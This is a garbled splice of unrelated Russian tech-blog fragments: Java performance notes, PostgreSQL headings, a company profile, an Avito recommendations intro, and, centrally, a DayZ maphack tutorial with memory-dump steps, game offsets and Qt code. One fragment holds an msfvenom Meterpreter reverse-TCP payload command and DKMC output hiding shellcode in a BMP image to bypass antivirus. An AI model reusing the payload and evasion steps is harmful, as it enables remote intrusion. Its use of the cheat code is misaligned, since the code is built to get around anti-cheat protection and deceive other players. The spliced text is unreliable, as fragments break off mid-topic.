• или мы почитаем ход библиотеки и узнаем, что если мы дернем публичные методы в некотором особом порядке (я такое называю API-акупунктурой), то мы переведем этот объект в некоторое, более приемлемое для нас состояние — возможно, будет работать быстрее;
  
• или мы возьмем и просто захачим целые куски приватного API;
  
• или мы начнём эксплуатировать особенности конкретных железок, на которых мы исполняемся, конкретного JDK, который мы таргетим — т.е. заниматься низкоуровневыми оптимизациями.
  

Профилирование и диагностика

Трюки с конференций

Костыли

Пример

Подходы к исправлениям

Подитог в красной зоне

Напутствие

• обновить запас информации о применимости хаков из красной зоны. Не то чтобы вам прямо сейчас начинать записывать, какие хаки из красной зоны вам внедрить в свой продакшн, а просто обновить этот словарь;
  
• найти сообщников и обсудить подходы работы в жёлтой. О том, как точнее профилировать и мониторить и так далее;
  
• или обсудить, какие приемы из жёлтой зоны уже завещать в зелёную зону, т.е. какие вещи, которые вы считали раньше обменом сложности на производительность, теперь являются просто стандартной практикой написания кода.
  

• помочь своим пользователям обсудить подходы работы в жёлтой зоне — как профилировать, как мониторить и так далее;
  
• и понять, какие хаки из красной зоны, с которыми люди постоянно сталкиваются, стоит перетащить либо в жёлтую, либо в зелёную зону.
  

1. Кластер multimaster

2. 64-разрядные счетчики транзакций

3. Постраничное сжатие

4. Автономные транзакции

В чем суть?

Это правда работает?

python dkmc.py

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.3 LPORT=4444 -f raw > mycode

(generate)>>> run
	[+] Image size is 1000 x 700
	[+] Generating obfuscation key 0x14ae6c1d
	[+] Shellcode size 0x14d (333) bytes
	[+] Adding 3 bytes of padding
	[+] Generating magic bytes 0x4d9d392d
	[+] Final shellcode length is 0x19f (415) bytes
	[+] New BMP header set to 0x424de9040a2000
	[+] New height is 0xb7020000 (695)
	[+] Successfully save the image. (/root/av_bypass/DKMC/output/prettycat.bmp)

В один из вечеров школьного лета, у меня появилась потребность в мапхаке для DayZ Mod (Arma 2 OA). Поискав информацию по теме, я понял, что связываться с античитом Battleye не стоит, ибо нет ни знаний, ни опыта для обхода защитного драйвера ядра, который вежливо расставил кучу хуков на доступ к процессу игры.

DayZ одна из немногих игр, где расположение важных для игрового процесса объектов, меняется не часто и сохраняется после перезахода(базы не двигаются, большинство техники тоже много времени стоит на месте). Этот факт открывает возможность атаки через дамп оперативной памяти.

Все ссылки в конце.

Глава 1. Дампим

Получить снимок памяти в рантайме без обхода античита, врядли получится. Поэтому ищем другие тактики. Первое, что находим это хабрастатья, из которой становится понятно куда копать.

Попытка 1

Получить образ памяти через описанный в статье хотресет, загрузку с Ubuntu CyberPack (IRF) и получение образа через fmem, мне не удалось, по невыясненным причинам fmem зависал.
Немного погуглив находим альтернативную тулзу, с таким же функционалом LiME ~ Linux Memory Extractor. Теперь её нужно было собрать и запустить на livecd.
Выбор дистрибутива пал на TinyCore(TinyCorePure64, если сдампить нужно более 3 ГБ). Загрузившись с него качаем и устанавливаем пакеты.

tce-load -iw linux-kernel-sources-env.tcz
cliorx linux-kernel-sources-env.sh

Далее монтируем флешку с сорцами, куда также будем скидывать дамп, собираем через make и получаем образ

insmod ./lime.ko "path=/path/mem-image.lime format=lime"

Теперь этот файл нужно кому-то скормить, чтобы на выходе получить память нужного нам процесса. Для этого нам должен был подойти Volatility Framework с плагином memdump.

vol.py -f F:\mem-image.lime format=lime pslist
vol.py -f F:\mem-image.lime format=lime memdump –dump-dir ./output –p 868

Или Rekall Framework, который является его форком и активно развивается, в отличии от самого volatility

rekal -f F:\mem-image.lime pslist
rekal -f F:\mem-image.lime memdump dump_dir="./output", pids=868

Однако что я бы не делал, заводиться он не захотел и я продолжил копать.

При работе с Rekall на windows 10, при первом поиске чего-либо по дампу может появиться сообщение вида:

WARNING:rekall.1:Profile nt/GUID/F6F4895554894B24B4DF942361F0730D1 fetched and built. Please consider reporting this profile to the Rekall team so we may add it to the public profile repository.

А в следующий раз, он может упасть с такой ошибкой:

CRITICAL:rekall.1:A DTB value was found but failed to verify. See logging messages for more information.

Если это произошло, при запуске вам нужно указать параметр --profile со значением профиля, который вам вывело в первый раз.

Попытка 2

Для получения наиболее полного снимка памяти можно воспользоваться файлом hiberfil.sys, в который сохраняется вся память при переходе винды в гибернацию.

Здесь всё ещё проще, переходим в режим гибернации, загружаемся с любого livecd (в моём случае, всё тот-же TinyCore), монтируем системный диск(Read-Only) и флешку, копируем нужный файл.

Для TinyCore не забываем установить пакет для поддержки ntfs.

tce-load -iw ntfs-3g

Через fdisk -l, находим нужные нам логические разделы и монтируем их

sudo ntfs-3g -o ro /dev/sda2 /tmp/a1  //Системный диск с Read-Only
sudo ntfs-3g /dev/sdc1 /tmp/a2

Копируем

cp /tmp/a1/hiberfil.sys /tmp/a2

Дальше этот файл можно было скормить volatility (поддерживает файл гибернации с win7 или ранее).

vol.py imagecopy -f hiberfil.sys -O win7.img

Поскольку у меня win10, мне этот вариант не подошёл.
Я попробовал отдать файл программе Hibr2bin, которая раньше была тем самым Sandman Framework.

HIBR2BIN /PLATFORM X64 /MAJOR 10 /MINOR 0 /INPUT hiberfil.sys /OUTPUT uncompressed.bin

Но та выдала непонятный output, с которым отказались работать фреймворки для анализа.
На помощь пришёл Hibernation Recon с Free версией, который без проблем дал читаемый для фреймвоков выхлоп.
На выходе с memdump мы получаем файл с самой памятью процесса и файл с соотношением виртуальных адресов к адресам в файле.

File Address      Length      Virtual Addr
-------------- -------------- --------------
0x000000000000 0x000000001000 0x000000010000
0x000000001000 0x000000001000 0x000000020000
0x000000002000 0x000000001000 0x000000021000
0x000000003000 0x000000001000 0x00000002f000
0x000000004000 0x000000001000 0x000000040000
0x000000005000 0x000000001000 0x000000050000
0x000000006000 0x000000001000 0x000000051000

Глава 2. Пишем мапхак.

Для GUI я выбрал Qt.

Для начала пишем удобную обёртку для обращения к виртуальной памяти в файле через таблицу.

class MemoryAPI
{
public:
    MemoryAPI(){}
    MemoryAPI(QString pathDump, QString pathIDX);
    //Функции чтения данных по виртуальным адресам
    quint32 readPtr      (const quint32 offset);
    qint32  readInt      (const quint32 offset);
    float   readFloat    (const quint32 offset);
    QString readStringAscii(const quint32 offset, const quint32 size);
    QString readArmaString(quint32 offset);
    //Инициализая обёртки
    void loadIDX        (QString path);
    void loadDump       (QString path);

private:
    //Массив с соотношениями виртуальных и физических адресов
    QVector  memoryRelations;
    quint32 convertVirtToPhys(const quint32 virt) const;
    QByteArray readVirtMem(const quint32 baseAddr, const quint32 size);
    QFile dumpFile;
};

Каждую строчку idx-файла мы представляем в виде простой структуры.

class MemoryRange
{
private:
    quint32 baseVirtualAddress;
    quint32 basePhysicalAddress;
    quint32 size;
};

Все функции чтения данных по виртуальным адресам сводятся к вызову этой функции с нужными параметрами.

QByteArray MemoryAPI::readVirtMem(const quint32 baseAddr, const quint32 size)
{
    QByteArray result;
    //Конвертируем адрес
    quint32 addr = convertVirtToPhys(baseAddr);
    dumpFile.seek(addr);
    result = dumpFile.read(size);

    return result;
}

Конвертация адреса проходит простым поиском нужного смещения в массиве (можно было бы применить бинарный поиск, но нет).

quint32 MemoryAPI::convertVirtToPhys(const quint32 virt) const
{
    for(auto it = memoryRelations.begin(); it != memoryRelations.end(); ++it)
    {
        if((*it).inRange(virt))
        {
            const quint32& phBase = (*it).getPhysicalAddress(), vrBase = (*it).getVirtualAddress();
            //Защита от переполнения
            if(phBase>vrBase)
                return virt + (phBase - vrBase);
            else
                return virt - (vrBase - phBase);
        }
    }
    //Если не находим нужного адреса кидаем исключение
    throw 1;
}

Теперь сделаем структуру, в которой будем хранить данные каждого объекта в игре.

class EntityData
{
public:
    friend class WorldState;
    //Перечисление всех нужных нам типов объектов
    enum class type {airplane, car, motorcycle, ship, helicopter, parachute, tank,
                     tent, stash, fence, ammoBox, campFire, crashSite, animals,
                     players, zombies, stuff, hedgehog, invalid};

    type entityType;

    EntityData();
    EntityData(QString n, QPointF c, type t = type::stuff);

    QString shortDescription()const;
    QString fullDescription()const;
    QPointF getCoords() const {return coords;}
private:
    //Название объекта
    QString name;
    //Координаты объекта
    QPointF coords;
    //Дополнительная информация об объекте (для расширяемости)
    QMap additionalFields;
};

Далее пишем класс, в котором будем хранить состояние мира (все объекты).

class WorldState
{
public:
    //Можно загрузиться из непосредственно дампа, и файла с адресами
    WorldState(const QString& dumpFile, const QString& idxFile);
    //или из xml-файла с состоянием мира
    WorldState(const QString& stateFile);
    //Этот xml-файл, можно сохранить и передать друзьям
    void saveState(const QString& stateFile);
    //Ассоциативный массив, в котором будем хранить итераторы на объекты каждого типа (полезная оптимизация)
    QMap  entityRanges;
    QString worldName;
private:
    //Массив со всеми объектами
    QVector  entityArray;
        //Смещения для получения нужных данных
    QVector masterOffsets;
    QVector tableOffsets;
    quint32          objTableAddress;
    void handleEntity   (quint32 entityAddress, MemoryAPI& mem);
        //Инициализации
    void initRanges();
    void initOffsets();

    QDomElement makeElement(QDomDocument& domDoc, const QString& name, const QString& strData = QString());
};

Здесь происходит вся работа с дампом памяти и загрузка информации о всех объектах.

WorldState::WorldState(const QString& dumpFile, const QString& idxFile)
{
    //Инициализируем смещения
    initOffsets();

    //Создаём простое диалоговое модальное окно прогресса
    QProgressDialog progress;
    progress.setCancelButton(nullptr);
    progress.setLabelText("Loading dump...");
    progress.setModal(true);
    progress.setMinimum(0);

    progress.setMaximum(masterOffsets.length()+2);
    progress.show();

    MemoryAPI mem(dumpFile,idxFile);
    progress.setValue(1);

    for(auto mO = masterOffsets.begin(); mO != masterOffsets.end(); ++mO)
    {
        quint32 entityTableBasePtr = mem.readPtr(objTableAddress) + (*mO);
        for(auto tO = tableOffsets.begin(); tO != tableOffsets.end(); ++tO)
        {
            qint32 size = mem.readInt(entityTableBasePtr + 0x4 +(*tO));

            for(qint32 i = 0; i!=size; ++i)
            {
                quint32 fPtr = mem.readPtr(entityTableBasePtr + (*tO));
                quint32 entityAddress = mem.readPtr(fPtr + 4 * i);

                //Обрабатываем сущность
                handleEntity(entityAddress, mem);

                //Не забываем обрабатывать события, чтобы не было зависаний графического интерфейса
                QCoreApplication::processEvents();
            }
        }
        progress.setValue(progress.value()+1);
    }
    initRanges();
    worldName = "chernarus";
    progress.setValue(progress.value()+1);
}

Инициализируем смещения

void WorldState::initOffsets()
{
    masterOffsets.append(0x880);
    masterOffsets.append(0xb24);
    masterOffsets.append(0xdc8);

    tableOffsets.append(0x8);
    tableOffsets.append(0xb0);
    tableOffsets.append(0x158);
    tableOffsets.append(0x200);

    objTableAddress = 0xDAD8C0;
}

Здесь остановимся поподробнее. Вся информация о мире игры хранится в примерно такой структуре (Основано на дампе, найденном на форуме).

class World
{
public:
char _0x0000[8];
    InGameUI* inGameUI; //0x0008 
char _0x000C[1520];
    EntityTablePointer* entityTablePointer; //0x05FC 
    VariableTableInfo* variableTableInfo; //0x0600 
char _0x0604[428];
    __int32 gameMode; //0x07B0 
char _0x07B4[4];
    float speedMultiplier; //0x07B8 
char _0x07BC[196];
        EntitiesDistributed table1; //0x0880
char _0x0B00[36];
    EntitiesDistributed table2; //0x0B24
char _0x0DA4[36];
    EntitiesDistributed table3; //0x0DC8
char _0x1048[849];
    BYTE artilleryEnabled; //0x1399 
    BYTE enableItemsDropping; //0x139A 
char _0x139B[13];
    UnitInfo* cameraOn; //0x13A8 
char _0x13AC[4];
    UnitInfo* cplayerOn; //0x13B0 
    UnitInfo* realPlayer; //0x13B4 
char _0x13B8[48];
    float actualOvercast; //0x13E8 
    float wantedOvercast; //0x13EC 
    __int32 nextWeatherChange; //0x13F0 
    float currentFogLevel; //0x13F4 
    float fogTarget; //0x13F8 
char _0x13FC[32];
    __int32 weatherTime; //0x141C 
char _0x1420[8];
    BYTE playerManual; //0x1428 
    BYTE playerSuspended; //0x1429 
char _0x142A[30];
    __int32 N0D09AD19; //0x1448 
char _0x144C[92];
    ArmaString* currentCampaign; //0x14A8 
char _0x14AC[4];
    __int32 N0D09B79F; //0x14B0 
char _0x14B4[52];
    float viewDistanceHard; //0x14E8 
    float viewDistanceMin; //0x14EC 
    float grass; //0x14F0 
char _0x14F4[36];
    __int32 initTableCount; //0x1518 
    __int32 initTableMaxCount; //0x151C 
char _0x1520[4];

};//Size=0x1524

Получить доступ к этой структуре можно по указателю, который лежит по статическому для каждой версии игры смещению (смещение можно загуглить или самому найти через реверс, но это уже совсем другая история). Это смещение мы храним в переменной objTableAddress. В masterOffsets мы храним смещения на 3 таблицы, относительно этой структуры.

class EntitiesDistributed
{
public:
char _0x0000[8];
    Entity* table1; //0x0008
    __int32 table1Size; //0x000C 
char _0x0010[160];
    Entity* table2; //0x00B0
    __int32 table2Size; //0x00B4 
char _0x00B8[160];
    Entity* table3; //0x0158
    __int32 table3Size; //0x015C 
char _0x0160[160];
    Entity* table4; //0x0200
    __int32 table4Size; //0x0204 
char _0x0208[120];

};//Size=0x0280

В свою очередь каждая таблица хранит в себе ещё по 4 таблицы с длиной (смещения на эти таблицы мы храним в tableOffsets).
Теперь мы можем итерироваться по всем объектам в игре. Разберём функцию, которая обрабатывает каждую сущность.

void WorldState::handleEntity(quint32 entityAddress, MemoryAPI &mem)
{
    QString objType;
    QString objName;
    float coordX;
    float coordY;

    try{
        quint32 obj1 = entityAddress;
        quint32 pCfgVehicle = mem.readPtr(obj1 + 0x3C);
        quint32 obj3 = mem.readPtr(pCfgVehicle + 0x30);
        quint32 pObjType = mem.readPtr(pCfgVehicle + 0x6C);

        objType = mem.readArmaString(pObjType);
        objName = mem.readStringAscii(obj3 + 0x8, 25);

        quint32 pEntityVisualState = mem.readPtr(obj1 + 0x18);
        coordX = mem.readFloat(pEntityVisualState + 0x28);
        coordY = mem.readFloat(pEntityVisualState + 0x30);
    }catch(int a)
    {
        qDebug() << "Ошибка доступа к виртуальной памяти.";
        return;
    }

    //Создаём новую сущность
    EntityData ed(objName, QPointF(coordX, coordY));

    //Классифицируем сущность по категориям
    if(objType == "car")
        ed.entityType = EntityData::type::car;
    else if(objType == "motorcycle")
        ed.entityType = EntityData::type::motorcycle;
    else if(objType == "airplane")
        ed.entityType = EntityData::type::airplane;
    else if(objType == "helicopter")
        ed.entityType = EntityData::type::helicopter;
    else if(objType == "ship")
        ed.entityType = EntityData::type::ship;
    else if(objType == "tank")
        ed.entityType = EntityData::type::tank;
    else if(objType == "parachute")
        ed.entityType = EntityData::type::parachute;
    else if(objName.indexOf("TentStorage")!=-1)
        ed.entityType = EntityData::type::tent;
    else if(objName.indexOf("Stash")!=-1)
        ed.entityType = EntityData::type::stash;
    else if(objName.indexOf("WoodenGate")!=-1 || objName.indexOf("WoodenFence")!=-1)
        ed.entityType = EntityData::type::fence;
    else if(objName.indexOf("DZ_MedBox")!=-1 || objName.indexOf("DZ_AmmoBox")!=-1)
        ed.entityType = EntityData::type::ammoBox;
    else if(objName.indexOf("Hedgehog_DZ")!=-1)
        ed.entityType = EntityData::type::hedgehog;
    else if(objName.indexOf("Land_Camp_Fire_DZ")!= -1)
        ed.entityType = EntityData::type::campFire;
    else if(objName.indexOf("CrashSite")!= -1)
        ed.entityType = EntityData::type::crashSite;
    else if(objName.indexOf("WildBoar")== 0 || objName.indexOf("Rabbit")== 0 ||
            objName.indexOf("Cow")== 0 || objName.indexOf("Sheep")== 0 ||
            objName.indexOf("Goat")== 0 || objName.indexOf("Hen")== 0)
        ed.entityType = EntityData::type::animals;
    else if(objName.indexOf("Survivor2_DZ")!= -1 || objName.indexOf("Sniper1_DZ")!=-1 ||
            objName.indexOf("Camo1_DZ")!=-1 || objName.indexOf("Survivor3_DZ")!=-1 ||
            objName.indexOf("Bandit1_DZ")!= -1 || objName.indexOf("Soldier1_DZ")!= -1)
        ed.entityType = EntityData::type::players;
    else
        ed.entityType = EntityData::type::stuff;

    entityArray.append(ed);
}

Каждая сущность представляет собой примерно такую структуру

class Entity
{
public:
char _0x0000[24];
    EntityVisualState* entityVisualState; //0x0018 
char _0x001C[32];
    CfgVehicle* cfgVehicle; //0x003C 
char _0x0040[476];
    EntityInventory* entityInventory; //0x021C 

};//Size=0x0220

Здесь нам интересны все три указателя.

• EntityVisualState — информация о местоположении.
• CfgVehicle — характеристики (название, тип, максимальная скорость и т.д.).
• EntityInventory — инвентарь (чтение инвентаря не реализовано, т.к. для моих целей это излишне).
  
  

Из CfgVehicle мы читаем имя и тип.

ArmaString* entityName; //0x0030 
ArmaString* objectType; //0x006C 

class EntityVisualState
{
public:
char _0x0000[4];
    D3DXVECTOR3 dimension; //0x0004 
    D3DXVECTOR3 rotation1; //0x0010 
    D3DXVECTOR3 direction; //0x001C 
    D3DXVECTOR3 coordinates; //0x0028 
char _0x0034[20];
    D3DXVECTOR3 velocity; //0x0048 
    float angularVelocity; //0x0054 
    float zVelocity2; //0x0058 
    float Speed; //0x005C 
    D3DXVECTOR3 acceleration; //0x0060 
char _0x006C[16];
    D3DXVECTOR3 direction2; //0x007C 
    D3DXVECTOR3 rotation2; //0x0088 
    D3DXVECTOR3 direction3; //0x0094 
char _0x00A0[12];
    float fuelLevel; //0x00AC 
char _0x00B0[92];
    D3DXVECTOR3 headCoordinates; //0x010C 
    D3DXVECTOR3 torsoCoordinates; //0x0118 
char _0x0124[244];
    float N047F1D6C; //0x0218 
char _0x021C[200];

};//Size=0x02E4

Из EntityVisualState мы читаем вектор координат, который представляет собой структуру из трёх переменных.

D3DXVECTOR3 coordinates;

struct D3DXVECTOR3 {
  FLOAT x;
  FLOAT y;
  FLOAT z;
};

Здесь нам нужны только x и y(на самом деле z), поэтому читаем их так:

coordX = mem.readFloat(pEntityVisualState + 0x28);
coordY = mem.readFloat(pEntityVisualState + 0x30);

Кстати, в карту additionalFields, которая в EntityData, на этом этапе можно записать любую дополнительную информацию. Например, содержимое инвентаря или скорость перемещения.

Сейчас мы получили и классифицировали информацию о всех сущностях в игровом мире, теперь её нужно как-то отобразить, для этого я использовал QPainter.

Создаём класс виджета для рисования.

class InteractiveMap : public QWidget
{
    Q_OBJECT

public:
    InteractiveMap(QWidget* pwgt = nullptr);
    virtual ~InteractiveMap();

protected:
    virtual void paintEvent(QPaintEvent* pe);

private:
    //Константы масштабирования(на колёсико мыши)
    const float minScale = 1.0f;
    const float maxScale = 8.0f;
    const float scaleStep= 2.0f;

    void updateScale(const qreal value, const QPointF& dpos);
    void updateTranslate(const QPointF& value);

    bool getFilterValue(EntityData::type t);
    bool getFilterValue(QString t);

    void mousePressEvent  (QMouseEvent* pe);
    void mouseMoveEvent   (QMouseEvent* pe);
    void wheelEvent       (QWheelEvent *pe);

    void findCloseObjects(QPointF coords);
    QVector* input;

    QPainter*   painter;
    QPixmap*    image;
    WorldState* worldState;

    qreal scale;
    QPointF translate;
    QPoint startMove;

    //Кэшированная картинка
    QPixmap cache;

    QMutex renderMutex;

    //Асинхронный поиск объектов, близких к курсору
    QFutureWatcher closeObjWatcher;
    QFuture closeObjFuture;

public slots:
    //Загрузка состояния
    void loadState(QString stateFile);
    void loadDump(QString dumpFile, QString idxFile);

    void closeState();
    void saveState(QString stateFile);
    void updateCache();
    void sendCloseObjects();

signals:
    void showCloseObjects(QString str);
    void saveStateChanged(bool state);
};

Метки с техникой я рисую поверх картинки с картой. Метки на карте для текущего масштаба я кэширую в QPixmap (дорого рисовать заново несколько сотен или тысяч объектов при каждом сдвиге камеры).

void InteractiveMap::paintEvent(QPaintEvent *pe)
{
    renderMutex.lock();
    painter->begin(this);
//////////////////////////////////////////////////
    QTransform mat;
    painter->setTransform(mat);
    painter->scale(scale, scale);
    painter->translate(translate);
    painter->drawPixmap(0,0, *image);

    if(cache.isNull())
    {
        //Важно увеличить DPR, иначе метки будут смазаны при сильном увеличении
        cache = QPixmap(image->size()*4);
        cache.setDevicePixelRatio(4);
        cache.fill(Qt::transparent);
        QPainter cachePaint(&cache);
        //Бежим по всем типам объектов
        for(QMap::const_iterator it = worldState->entityRanges.cbegin(); it!=worldState->entityRanges.cend();++it)
        {
            //Проверяем нужно ли отображать этот тип
            if(getFilterValue(it.key()))
            {
                for(QVector::const_iterator i = it.value().start; i!= it.value().end; ++i)
                {
                    float x = i->getCoords().x();
                    float y = i->getCoords().y();

                    //Преобразуем координаты по магической формуле
                    x = (((x) / (15360.0f / 975.0f)));
                    y = (((15360.0f - y) / (15360.0f / 970.0f)) - 4.0f);

                    //Рисуем точку
                    QFont font("Arial");
                    QPen  pen;
                    pen.setWidthF(4.0f/scale);
                    pen.setStyle(Qt::SolidLine);
                    font.setPointSizeF(qMax(float(8.0f*1.0f/scale),2.0f));
                    cachePaint.setFont(font);
                    cachePaint.setPen(pen);
                    cachePaint.drawPoint(x,y);

                    //Рисуем название объекта, если нужно
                    if(getFilterValue(QString("name")))
                        cachePaint.drawText(x,y,i->shortDescription());

                }
            }
        }
    }
    painter->drawPixmap(0,0,cache);
//////////////////////////////////////////////////
    painter->end();
    renderMutex.unlock();
}

Для выбора типов сущностей, которые нужно отображать и других настроек, я использую QCheckBox-ы на боковой панели (их реализацию можно будет глянуть на гитхабе). Для связи отрисовки с настройками, я сначала использовал голый QSettings, но оказалось, что он не кэширует настройки в памяти, а напрямую работает с реестром, поэтому мне пришлось написать обёрточный синглтон с кэшем, который также при обновлении параметров посылает сигнал на перерисовку.

class SettingsManager : public QObject
{
    Q_OBJECT
public:
    SettingsManager();
    ~SettingsManager();
    static SettingsManager& instance();
    QVariant value(const QString &key, const QVariant &defaultValue = QVariant());
    void setValue(const QString &key, const QVariant &value);

    SettingsManager(SettingsManager const&) = delete;
    SettingsManager& operator= (SettingsManager const&) = delete;
private:
    QMap data;
    QSettings settings;
signals:
    void updateMap();
};

Для удобного просмотра карты я реализовал масштабирование на курсор (на колёсико мыши) и сдвиг (с зажатым лкм-ом). Ещё одна важная фича — просмотр полных характеристик и игровых координат сущностей (при нажатии скм в район нужных объектов).

//Устанавливаем новый масштаб
void InteractiveMap::updateScale(qreal value, const QPointF& dpos)
{
    qreal newScale = scale * value;
    if(newScale >= minScale && newScale <= maxScale)
    {
        scale = newScale;
        //Добавляем смещение для масштабирования в точку курсора
        translate += dpos/scale;
        updateCache();
    }
}

//Устанавливаем новое смещение
void InteractiveMap::updateTranslate(const QPointF& value)
{
    QPointF newV = translate + (value * 1/scale);
    translate = newV;
    update();
}

//Обработка нажатия кнопок мыши
void InteractiveMap::mousePressEvent(QMouseEvent *pe)
{
    //Сдвиг при зажатии лкм
    if(pe->buttons() & Qt::LeftButton)
        startMove = pe->pos();
    //Поиск близких к курсору объектов на скм
    else if(pe->buttons() & Qt::MidButton)
    {
        if(worldState)
        {
            //Определяем координаты на карте, с учётом масштаба
            QPointF pos = pe->pos()/scale - translate;
            if(pos.x() >= 0.0f && pos.x() <= image->width() && pos.y() >= 0.0f && pos.y() <= image->height())
            {
                //Переводим координаты во внутренние игровые
                pos.rx() = pos.x() * (15360.0f / 975.0f);
                pos.ry() = -((15360.0f/970.0f)*(pos.y()+4.0f)-15360.0f);
                //Вызываем асинхронный поиск
                findCloseObjects(pos);
            }
        }

    }
}

void InteractiveMap::mouseMoveEvent(QMouseEvent *pe)
{
    //Сдвиг при зажатии лкм
    if(pe->buttons() & Qt::LeftButton)
    {
        updateTranslate(pe->pos() - startMove);
        startMove = pe->pos();
    }
}

void InteractiveMap::wheelEvent(QWheelEvent *pe)
{
    //Обработка масштабирования
    float dScale = (pe->angleDelta().y() < 0) ? 1/scaleStep : scaleStep;

    QPointF nPos = pe->pos() * (dScale);
    QPointF dPos = pe->pos() - nPos;

    updateScale(dScale,dPos);
}

Просмотр характеристик реализован с помощью фреймворка QtConcurrent, посредством модели MapReduce.

//Reduce функция
void addToAnswer(QString& result, const QString& interm)
{
    if(!interm.isEmpty())
        result += interm;
}

void InteractiveMap::findCloseObjects(QPointF coords)
{
    if(!closeObjWatcher.isRunning())
    {
        //Собираем входные данные
        input = new QVector;
        for(QMap::iterator it = worldState->entityRanges.begin(); it!=worldState->entityRanges.end();++it)
        {
            if(getFilterValue(it.key()))
            {
                //Создаём входной объект
                CloseObjects obj(&it.value(), coords);
                input->append(obj);
            }
        }
        closeObjFuture = QtConcurrent::mappedReduced(*input, &CloseObjects::findCloseObjects, addToAnswer);
        //После завершения вычислений посылаем сигнал
        connect(&closeObjWatcher, &QFutureWatcher::finished, this, &InteractiveMap::sendCloseObjects);
        //Запускаем вычисления
        closeObjWatcher.setFuture(closeObjFuture);
    }
}

void InteractiveMap::sendCloseObjects()
{
    //Отправляем результаты для отображения
    emit showCloseObjects(closeObjWatcher.result());
    //Не забываем очистить входной массив
    delete input;
    input = nullptr;
}

Входной класс состоит из указателя на категорию сущностей и точки для поиска.

class CloseObjects
{
public:
    CloseObjects() {}
    CloseObjects(EntityRange *r, QPointF p): range(r), coords(p) {}
    QString findCloseObjects() const;
private:
    EntityRange*    range;
    QPointF         coords;
};

В Map функции, мы проходим по всем объектам в категории, если сущность находится в константном радиусе от позиции курсора, то возвращаем полное описание объекта (название + дополнительные поля) и игровые координаты.

QString CloseObjects::findCloseObjects() const
{
    QString result;
    QTextStream stream(&result);
    //Устанавливаем точность в выводе до 2 цифр после запятой
    stream.setRealNumberNotation(QTextStream::FixedNotation);
    stream.setRealNumberPrecision(2);
    for(QVector::const_iterator it = range->start; it != range->end; ++it)
    {
        float len = qSqrt(qPow((it->getCoords().x() - coords.x()),2) + qPow((it->getCoords().y() - coords.y()),2));
        if(len <= 350)
        {
            stream << it->fullDescription() << "\n" << QVariant(it->getCoords().x()/100).toFloat() << " " << QVariant((15360 - it->getCoords().y())/100).toFloat() << "\n";
        }
    }
    return result;
}

На этом я заканчиваю свой рассказ. Кому не трудно, гляньте код, укажите на возможные косяки.
Заинтересованные могут добавить чтение дополнительных характеристик объектов и кинуть pull-request.

Ссылки:

• Hibernation Recon
• LiME ~ Linux Memory Extractor
• Volatility Framework
• Rekall Framework
• Hibr2bin
• Дамп оффсетов структур
• GitHub сабжа

Дом для SMS.
Или что такое сервис смс-рассылки и как с ним бороться

Фундамент

Стены, комнаты, коридоры

О компании «ЛАНИТ-Интеграция»

«ЛАНИТ-Интеграция» образована в 2008 году на базе департамента сетевой интеграции компании ЛАНИТ. Фактически мы 20 лет на рынке. За это время наши специалисты реализовали множество проектов разной сложности и масштаба. Например, создали информационно-техническую систему и мультимедийный комплекс Корпоративного университета Сбербанка России, ИТ-инфраструктуру олимпийского комплекса «Лужники» и развлекательного парка «Зарядье», оснастили инженерной и ИТ-инфраструктурой ансамбль зданий Московской городской Думы. О создании телекоммуникационной, мультимедийной и ИТ-инфраструктуры стадиона «Открытие Арена» и модернизации метеорологической сети Росгидромета мы писали на Хабре здесь и здесь.  

До сих пор «ЛАНИТ-Интеграция» фокусировалась на решении задач крупных компаний. Однако сегодня она предлагает законченные технические решения и проекты «под ключ» также малому и среднему бизнесу.
 

В составе решений для «Лужников» есть современная система коллективного приема IP-телевидения, позволяющая, например, транслировать сигналы с ТВ-камер, снимающих происходящее на футбольном поле, на ТВ-панели в ресторанах и SKY-боксах.

О выборе профессии

Об амбициях

О бизнесе компании

О роли технического директора

О маркетинге, который продает

О команде и профессиональном выгорании

О принципах управления

О лайфхаках на проектах

Об ошибках

О компромисах

О работе в удовольствие

О собеседованиях

Об управляемости

О навыках

Повышение компетенции

О книгах

Вместо заключения

В этой статье пойдет речь о том, как строятся персональные рекомендации на Avito. Исторически бизнес-модель Avito устроена так, что выдача объявлений в поиске происходит по времени их размещения. При этом пользователь может покупать дополнительные услуги для того, чтобы поднять свое объявление в поиске в том случае, если со временем объявление опустилось далеко в поисковой выдаче и перестало набирать просмотры и контакты.

В контексте данной бизнес-модели не очевидно, зачем нужны персональные рекомендации. Ведь они как раз нарушают логику сортировки по времени и те пользователи, которые платят за поднятие объявления, могут обидеться за то, что чье-то другое объявление мы «поднимаем» и показываем пользователю совершенно бесплатно только потому, что наша рекомендательная модель посчитала это объявление более релевантным для какого-то пользователя.

Однако сейчас персональные рекомендации становятся “must have” для классифайдов (и не только) по всему миру. Мы хотим помогать пользователю в поиске того, что ему нужно. Уже сейчас всё более значительная доля просмотров объявлений на Avito производится с рекомендаций на главной странице приложений или рекомендаций похожих объявлений на карточке товара. В этом посте я расскажу, какие именно задачи решает наша команда в Avito.

Виды рекомендаций

Сначала рассмотрим, какие типы рекомендаций могут быть полезны на Avito.

User-item рекомендации

В первую очередь это user-item рекомендации, то есть рекомендации объявлений для пользователя. Они могут быть двух типов. Первый — это товары или услуги, которые в настоящий момент ищет пользователь. Второй тип — дополняющие их товары или услуги. Например, чехлы для телефона, если человек ищет телефон. Или услуги перевозки мебели, если человек покупает или продает квартиру. Или кляссеры для хранения коллекции филателиста, если человек ищет почтовые марки.

User-item рекомендации мы доставляем до пользователей сейчас тремя способами:

• блоки с рекомендациями на главной странице мобильных приложений;
• баннеры с рекомендациями в поисковой выдаче на desktop;
• email- и push-рассылки с подборкой рекомендованных объявлений.

User-category рекомендации

Так же бывает нужно рекомендовать не конкретные объявления, а категории товаров (user-category рекомендации), перейдя в которые пользователь уже сам уточняет поисковые фильтры. User-category рекомендации так же делятся на два типа: рекомендации категорий текущих интересов пользователя и кросс-категорийные рекомендации. Сейчас мы используем этот тип рекомендаций в push-рассылках и на главной странице приложений.

Кросс-категорийные рекомендации особенно важны для Avito, так как большинство пользователей Рунета так или иначе хоть раз пользовались Avito, но часто «сидят» в одной категории. Многие не догадываются, что на Avito кроме личных вещей еще можно эффективно продать квартиру или автомобиль. Кросс-категорийные рекомендации помогают нам расширить спектр категорий, в которых пользователь является продавцом или покупателем, и таким образом увеличить вовлеченность пользователей.

Item-item рекомендации

